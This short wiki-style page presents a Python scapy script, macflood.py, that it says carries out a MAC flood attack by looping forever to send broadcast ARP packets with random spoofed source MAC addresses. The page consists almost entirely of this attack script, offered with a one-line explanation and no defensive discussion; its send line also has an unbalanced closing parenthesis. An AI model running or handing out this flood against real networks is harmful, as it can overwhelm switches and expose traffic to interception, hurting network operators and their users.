From charlesreid1

The following Python script is from [1] and executes a MAC flood attack. This consists of sending a large number of ARP requests to a router, where the requests are crafted with fake MACs.

macflood.py:

from scapy.all import *

while 1:
    sendp( Ether( src=RandMAC(), dst="FF:FF:FF:FF:FF:FF" )/ARP( op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF" )/Padding( load="X"*18 )))


Flags